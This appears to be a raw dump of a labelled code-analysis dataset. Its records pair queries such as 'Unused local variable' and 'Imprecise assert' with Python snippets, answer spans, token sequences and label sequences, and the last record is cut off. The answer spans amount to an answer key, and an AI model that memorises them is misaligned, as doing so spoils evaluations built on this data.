query_name
stringlengths
13
55
code_file_path
stringlengths
14
194
context_blocks
list
answer_spans
list
supporting_fact_spans
list
example_type
int8
0
1
single_hop
bool
2 classes
subtokenized_input_sequence
sequence
label_sequence
sequence
Unused local variable
CybOXProject/python-cybox/cybox/bindings/dns_cache_object.py
[ { "content": " def exportChildren(self, lwrite, level, namespace_='DNSCacheObj:', name_='DNSCacheEntryType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.DNS_Entry is not None:\n self.DNS_Entry.export(lwrite, level, 'DNSCacheObj:', name_='DNS_Entry', pretty_print=pretty_print)\n if self.TTL is not None:\n self.TTL.export(lwrite, level, 'DNSCacheObj:', name_='TTL', pretty_print=pretty_print)", "metadata": "root.DNSCacheEntryType.exportChildren", "header": "['class', 'DNSCacheEntryType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 58 }, { "content": " def exportChildren(self, lwrite, level, namespace_='DNSCacheObj:', name_='DNSCacheObjectType', fromsubclass_=False, pretty_print=True):\n super(DNSCacheObjectType, self).exportChildren(lwrite, level, 'DNSCacheObj:', name_, True, pretty_print=pretty_print)\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for DNS_Cache_Entry_ in self.DNS_Cache_Entry:\n DNS_Cache_Entry_.export(lwrite, level, 'DNSCacheObj:', name_='DNS_Cache_Entry', pretty_print=pretty_print)", "metadata": "root.DNSCacheObjectType.exportChildren", "header": "['class', 'DNSCacheObjectType', '(', 'cybox_common', '.', 'ObjectPropertiesType', ')', ':', '___EOS___']", "index": 134 }, { "content": "def parse(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'DNS_Cache'\n rootClass = DNSCacheObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n# sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n# rootObj.export(sys.stdout.write, 0, name_=rootTag,\n# namespacedef_='',\n# pretty_print=True)\n return rootObj", "metadata": "root.parse", "header": "['module', '___EOS___']", "index": 277 }, { "content": "def parseEtree(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'DNS_Cache'\n rootClass = DNSCacheObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n rootElement = rootObj.to_etree(None, name_=rootTag)\n content = etree_.tostring(rootElement, pretty_print=True,\n xml_declaration=True, encoding=\"utf-8\")\n sys.stdout.write(content)\n sys.stdout.write('\\n')\n return rootObj, rootElement", "metadata": "root.parseEtree", "header": "['module', '___EOS___']", "index": 294 }, { "content": "def parseString(inString):\n from mixbox.vendor.six import StringIO\n doc = parsexml_(StringIO(inString))\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'DNS_Cache'\n rootClass = DNSCacheObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n# sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n# rootObj.export(sys.stdout.write, 0, name_=\"DNS_Cache\",\n# namespacedef_='')\n return rootObj", "metadata": "root.parseString", "header": "['module', '___EOS___']", "index": 312 } ]
[ { "span": "eol_ ", "start_line": 60, "start_column": 12, "end_line": 60, "end_column": 16 }, { "span": "eol_ ", "start_line": 62, "start_column": 12, "end_line": 62, "end_column": 16 }, { "span": "eol_ ", "start_line": 137, "start_column": 12, "end_line": 137, "end_column": 16 }, { "span": "eol_ ", "start_line": 139, "start_column": 12, "end_line": 139, "end_column": 16 }, { "span": "rootTag ", "start_line": 282, "start_column": 8, "end_line": 282, "end_column": 15 }, { "span": "doc ", "start_line": 287, "start_column": 4, "end_line": 287, "end_column": 7 }, { "span": "doc ", "start_line": 304, "start_column": 4, "end_line": 304, "end_column": 7 }, { "span": "rootTag ", "start_line": 318, "start_column": 8, "end_line": 318, "end_column": 15 }, { "span": "doc ", "start_line": 323, "start_column": 4, "end_line": 323, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "DNS", "Cache", "Entr", "y", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "DNS", "Cache", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "DNS", "Cache", "Entr", "y", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "DNS", "\\u", "Entry_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "DNS", "\\u", "Entry_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "DNS", "Cache", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "DNS", "\\u", "Entr", "y", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "TTL", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "TTL", "_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "DNS", "Cache", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "TTL", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "DNS", "Cache", "Object", "Type_", "(_", "cy", "box", "\\u", "common_", "._", "Object", "Proper", "ties", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "DNS", "Cache", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "DNS", "Cache", "Object", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "DNS", "Cache", "Object", "Type_", ",_", "self_", ")_", "._", "export", "Children_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "DNS", "Cache", "Obj", ":'_", ",_", "name\\u_", ",_", "True_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "DNS", "\\u", "Cache", "\\u", "Entr", "y\\u_", "in_", "self_", "._", "DNS", "\\u", "Cache", "\\u", "Entry_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "DNS", "\\u", "Cache", "\\u", "Entr", "y\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "DNS", "Cache", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "DNS", "\\u", "Cache", "\\u", "Entr", "y", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "DNS", "\\u", "Cache", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "DNS", "Cache", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "sys", ".", "stdout", ".", "write", "('", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "root", "Obj", ".", "export", "(", "sys", ".", "stdout", ".", "write", ",", " ", "0", ",", " ", "name", "\\u", "=", "root", "Ta", "g", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "namespace", "def", "\\u", "=''", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "pretty", "\\u", "print", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "Et", "ree_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "DNS", "\\u", "Cache", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "DNS", "Cache", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Element_", "=_", "root", "Obj_", "._", "to", "\\u", "etree_", "(_", "None_", ",_", "name\\u_", "=_", "root", "Tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "etree", "\\u_", "._", "tostring_", "(_", "root", "Element_", ",_", "pretty", "\\u", "print_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xml", "\\u", "declaration_", "=_", "True_", ",_", "encoding_", "=_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "root", "Obj_", ",_", "root", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "String_", "(_", "in", "String_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "mix", "box_", "._", "vendor_", "._", "six_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "=_", "parse", "xml", "\\u_", "(_", "String", "IO_", "(_", "in", "String_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "DNS", "\\u", "Cache", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "DNS", "Cache", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "sys", ".", "stdout", ".", "write", "('", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "root", "Obj", ".", "export", "(", "sys", ".", "stdout", ".", "write", ",", " ", "0", ",", " ", "name", "\\u", "=\"", "DNS", "\\u", "Cache", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "namespace", "def", "\\u", "=''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
stephenmuss/django-ios-notifications/ios_notifications/tests.py
[ { "content": " def test_create_with_invalid_passphrase(self):\n cert, key = generate_cert_and_pkey(as_string=True, passphrase='correct')\n form = APNServiceForm({'name': 'test', 'hostname': 'localhost', 'certificate': cert, 'private_key': key, 'passphrase': 'incorrect'})\n self.assertFalse(form.is_valid())\n self.assertTrue('passphrase' in form.errors)", "metadata": "root.APNServiceTest.test_create_with_invalid_passphrase", "header": "['class', 'APNServiceTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 88 }, { "content": " def test_update_device(self):\n kwargs = {'token': self.device.token, 'service__id': self.device.service.id}\n url = reverse('ios-notifications-device', kwargs=kwargs)\n resp = self.client.put(url, 'users=%d&platform=iPhone' % self.user.id,\n content_type='application/x-www-form-urlencode')\n self.assertEqual(resp.status_code, 200)\n self.assertTrue(isinstance(resp, JSONResponse))\n device_json = json.loads(resp.content)\n self.assertEqual(device_json.get('pk'), self.device.id)\n self.assertTrue(self.user in self.device.users.all())", "metadata": "root.APITest.test_update_device", "header": "['class', 'APITest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 153 }, { "content": " @override_settings(IOS_NOTIFICATIONS_AUTHENTICATION='AuthBasic')\n def test_basic_authorization_request_invalid_credentials(self):\n user_pass = '%s:%s' % (self.user.username, 'invalidpassword')\n auth_header = 'Basic %s' % user_pass.encode('base64')\n url = reverse('ios-notifications-device-create')\n resp = self.client.get(url, HTTP_AUTHORIZATION=auth_header)\n self.assertEquals(resp.status_code, 401)\n self.assertTrue('authentication error' in resp.content)", "metadata": "root.AuthenticationDecoratorTestAuthBasic.test_basic_authorization_request_invalid_credentials", "header": "['class', 'AuthenticationDecoratorTestAuthBasic', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 198 }, { "content": " @override_settings(IOS_NOTIFICATIONS_AUTHENTICATION='AuthBasic')\n def test_basic_authorization_missing_header(self):\n url = reverse('ios-notifications-device-create')\n resp = self.client.get(url)\n self.assertEquals(resp.status_code, 401)\n self.assertTrue('Authorization header not set' in resp.content)", "metadata": "root.AuthenticationDecoratorTestAuthBasic.test_basic_authorization_missing_header", "header": "['class', 'AuthenticationDecoratorTestAuthBasic', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 207 }, { "content": " @override_settings(IOS_NOTIFICATIONS_AUTHENTICATION='AuthBasicIsStaff')\n def test_basic_authorization_is_staff_with_non_staff_user(self):\n kwargs = {'token': self.device.token, 'service__id': self.device.service.id}\n url = reverse('ios-notifications-device', kwargs=kwargs)\n user_pass = '%s:%s' % (self.user.username, self.user_password)\n auth_header = 'Basic %s' % user_pass.encode('base64')\n self.user.is_staff = False\n self.user.save()\n resp = self.client.get(url, HTTP_AUTHORIZATION=auth_header)\n self.assertEquals(resp.status_code, 401)\n self.assertTrue('authentication error' in resp.content)", "metadata": "root.AuthenticationDecoratorTestAuthBasic.test_basic_authorization_is_staff_with_non_staff_user", "header": "['class', 'AuthenticationDecoratorTestAuthBasic', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 236 }, { "content": " def test_call_push_ios_notification_command_explicit_persist(self):\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0, 'persist': True})\n self.assertTrue(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_explicit_persist", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 327 }, { "content": " def test_call_push_ios_notification_command_explicit_no_persist(self):\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0, 'persist': False})\n self.assertFalse(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_explicit_no_persist", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 333 }, { "content": " @override_settings(IOS_NOTIFICATIONS_PERSIST_NOTIFICATIONS=True)\n def test_call_push_ios_notification_command_default_persist(self):\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0})\n self.assertTrue(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_default_persist", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 339 }, { "content": " @override_settings(IOS_NOTIFICATIONS_PERSIST_NOTIFICATIONS=False)\n def test_call_push_ios_notification_command_default_no_persist(self):\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0})\n self.assertFalse(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_default_no_persist", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 346 }, { "content": " @override_settings()\n def test_call_push_ios_notification_command_default_persist_not_specified(self):\n try:\n # making sure that IOS_NOTIFICATIONS_PERSIST_NOTIFICATIONS is not specified in app settings, otherwise this test means nothing\n del settings.IOS_NOTIFICATIONS_PERSIST_NOTIFICATIONS\n except AttributeError:\n pass\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0})\n self.assertTrue(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_default_persist_not_specified", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 353 } ]
[ { "span": "self.assertTrue('passphrase' in form.errors)", "start_line": 92, "start_column": 8, "end_line": 92, "end_column": 52 }, { "span": "self.assertTrue(self.user in self.device.users.all())", "start_line": 162, "start_column": 8, "end_line": 162, "end_column": 61 }, { "span": "self.assertTrue('authentication error' in resp.content)", "start_line": 205, "start_column": 8, "end_line": 205, "end_column": 63 }, { "span": "self.assertTrue('Authorization header not set' in resp.content)", "start_line": 212, "start_column": 8, "end_line": 212, "end_column": 71 }, { "span": "self.assertTrue('authentication error' in resp.content)", "start_line": 246, "start_column": 8, "end_line": 246, "end_column": 63 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 331, "start_column": 8, "end_line": 331, "end_column": 99 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 337, "start_column": 8, "end_line": 337, "end_column": 99 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 344, "start_column": 8, "end_line": 344, "end_column": 99 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 351, "start_column": 8, "end_line": 351, "end_column": 99 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 363, "start_column": 8, "end_line": 363, "end_column": 99 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "AP", "NS", "ervice", "Test_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "with", "\\u", "invalid", "\\u", "passphrase_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cert_", ",_", "key_", "=_", "generat", "e\\u", "cert", "\\u", "and", "\\u", "pkey_", "(_", "as", "\\u", "string_", "=_", "True_", ",_", "passphrase_", "=_", "'", "correct", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form_", "=_", "AP", "NS", "ervice", "Form_", "(_", "{_", "'", "name", "'_", ":_", "'", "test", "'_", ",_", "'", "host", "name", "'_", ":_", "'", "local", "host", "'_", ",_", "'", "certifica", "te", "'_", ":_", "cert_", ",_", "'", "private", "\\u", "key", "'_", ":_", "key_", ",_", "'", "passp", "hra", "se", "'_", ":_", "'", "incorrect", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "passp", "hra", "se", "'_", "in_", "form_", "._", "errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Test_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "device_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "{_", "'", "token", "'_", ":_", "self_", "._", "device_", "._", "token_", ",_", "'", "service", "\\u\\u", "id", "'_", ":_", "self_", "._", "device_", "._", "service_", "._", "id_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "reverse_", "(_", "'", "ios", "-", "notification", "s", "-", "device", "'_", ",_", "kwargs_", "=_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "put_", "(_", "url_", ",_", "'", "users", "=", "%", "d", "&", "platform", "=", "i", "Phone", "'_", "%_", "self_", "._", "user_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "content", "\\u", "type_", "=_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", 